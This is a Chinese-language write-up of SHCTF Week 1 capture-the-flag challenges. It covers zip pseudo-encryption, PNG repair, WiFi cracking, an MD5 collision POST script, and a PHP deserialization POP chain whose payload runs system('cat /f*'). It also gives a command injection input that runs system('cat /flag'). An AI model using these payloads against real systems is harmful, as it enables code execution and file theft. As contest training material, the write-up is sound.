[TOC]
Misc 
[Week1]真真假假?遮遮掩掩! 
考点:压缩包伪加密,掩码爆破
 
下载附件有一个压缩包,打开发现需要密码,放进010查看
 
伪加密,直接修改
 
根据提示,想到是掩码爆破
 
SHCTF{C0ngr@tu1at1ons_On_Mast3r1ng_mAsk_aTT@ck5!}
 
[Week1]拜师之旅① 
考点:损坏文件,png隐写
 
下载压缩包解压,有个损坏的图片,放进010查看
 
缺少png文件头部,补上复原
 
修改高度,得到flag
 
[Week1]Rasterizing Traffic 
考点:流量分析,光栅图解析
 
经过分析,发现png图片,直接查看或导出来(显示分组字节或导出分组字节流)
光栅图,使用工具AabyssZG/Raster-Terminator: CTF之光栅图秒杀器 (github.com) 
 
下载下来后需要将第75行的三维数组改为二维,这题才能用
 
输入命令 python Raster-Terminator.py  -x 1.png
 
得到光栅图,连在一起就是flag。
 
[Week1]有WiFi干嘛不用呢? 
考点:wifi密码爆破
 
用脚本将may文件夹的数据提取出来
 
删除[],用aircrack-ng爆破
 
找到wifi密码
SHCTF{0TUMVxz0JrUSDxHG}
 
web 
[Week1] 单身十八年的手速 
考点:查看源代码
 
打开网页
 
查看源代码,找到.js文件
 
发现一串base64字符
 
1 U0hDVEZ7OWY0NTM2NzItNTJlNS00N2NlLTg4OWEtMDEyYzkwMDczYmUxfQo= 
解码得到flag
SHCTF{9f453672-52e5-47ce-889a-012c90073be1}
 
[Week1] MD5 Master 
考点:md5碰撞,md5长度拓展攻击
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file(__file__); $master = "MD5 master!"; if(isset($_POST["master1"]) && isset($_POST["master2"])){     if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){         echo $master . "<br>";         echo file_get_contents('/flag');     } } else{     die("master? <br>"); }  
需要找到前缀都是$master但不相同,而他们的md5值又相同的值。
 
先用fastcoll找出这两个值。
 
使用脚本post上传,得到flag。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requests import binascii   def read_binary_file_as_hex(file_path):     with open(file_path, 'rb') as binary_file:         binary_data = binary_file.read()         hex_data = binascii.hexlify(binary_data).decode('utf-8')     return hex_data   file_1 = 'C:\\CTF\\WEB\\WEB\\webtools\\fastcoll.exe\\1.bin' file_2 = 'C:\\CTF\\WEB\\WEB\\webtools\\fastcoll.exe\\2.bin' hex_data_1 = read_binary_file_as_hex(file_1) hex_data_1 = hex_data_1[22:] hex_data_2 = read_binary_file_as_hex(file_2) hex_data_2 = hex_data_2[22:] print(hex_data_1) print(hex_data_2) print(type(hex_data_1))   binary_data_1 = bytes.fromhex(hex_data_1) binary_data_2 = bytes.fromhex(hex_data_2)     url = 'http://210.44.150.15:25738/' data = {     'master1': binary_data_1,     'master2': binary_data_2 }   response = requests.post(url, data=data)   print(response.status_code) print(response.text) 
SHCTF{e0b338e9-b826-462b-af82-efce41ef53e9}
 
[Week1] ez_gittt 
考点:git泄露
 
查看源码,明确git泄露
 
拉取git到本地查看
 
看到增加flag,查看详情,找到flag。
 
SHCTF{6ad1f777-d0cf-41c1-8197-7feb7641e165}
 
[Week1] jvav 
考点:java
 
不懂 java,但是 gpt 会帮我写代码:
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.BufferedReader; import java.io.FileReader; import java.io.IOException;   public class demo {     public static void main(String[] args) {         String filePath = "/flag";  // 本地文件路径         BufferedReader reader = null;           try {             reader = new BufferedReader(new FileReader(filePath));             String line;             while ((line = reader.readLine()) != null) {                 System.out.println(line);  // 输出每一行内容             }         } catch (IOException e) {             System.out.println("文件读取错误: " + e.getMessage());         } finally {             try {                 if (reader != null) {                     reader.close();                 }             } catch (IOException e) {                 System.out.println("关闭文件时出错: " + e.getMessage());             }         }     } } 
得到flag
SHCTF{055ac047-4421-4f0d-902a-8d4f72a585ad}
 
[Week1] poppopop 
考点:序列化反序列化
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54  <?php class SH {     public static $Web = false;     public static $SHCTF = false; } class C {     public $p;     public function flag()     {         ($this->p)();     } } class T{     public $n;     public function __destruct()     {         SH::$Web = true;         echo $this->n;     } } class F {     public $o;     public function __toString()     {         SH::$SHCTF = true;         $this->o->flag();         return "其实。。。。,";     } } class SHCTF {     public $isyou;     public $flag;     public function __invoke()     {         if (SH::$Web) {             ($this->isyou)($this->flag);             echo "小丑竟是我自己呜呜呜~";         } else {             echo "小丑别看了!";         }     } } if (isset($_GET['data'])) {     highlight_file(__FILE__);     unserialize(base64_decode($_GET['data'])); } else {     highlight_file(__FILE__);     echo "小丑离我远点!!!"; }  
分析代码,构造pop链:
T->__destruct() ---->  F->__toString() ----> C->flag() ----> SHCTF->__invoke()
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class SH {     public static $Web = false;     public static $SHCTF = false; } class C {     public $p; } class T{     public $n; } class F {     public $o; } class SHCTF {     public $isyou;     public $flag; }  $a = new SHCTF(); $a->isyou = "system"; $a->flag = "cat /f*"; $b = new C(); $b->p = $a; $c = new F(); $c->o = $b; $d = new T(); $d->n = $c; echo serialize($d); ?> //O:1:"T":1:{s:1:"n";O:1:"F":1:{s:1:"o";O:1:"C":1:{s:1:"p";O:5:"SHCTF":2:{s:5:"isyou";s:6:"system";s:4:"flag";s:7:"cat /f*";}}}} //base64:TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo3OiJjYXQgL2YqIjt9fX19 
传入base64编码后的内容,得到flag
SHCTF{d4b773f4-1dd4-4321-903f-aa718e1ea99d}
 
[Week1] 蛐蛐?蛐蛐! 
考点:弱比较,命令执行
 
查看源码
 
第一个弱比较 ,直接传 ?ququ=114514a。
 
第二个直接使用命令执行:
ququ=ququk1;system(“cat /flag”);
 
得到flag
SHCTF{a317f4fb-8cfa-43d9-9bce-85ab6f8633c6}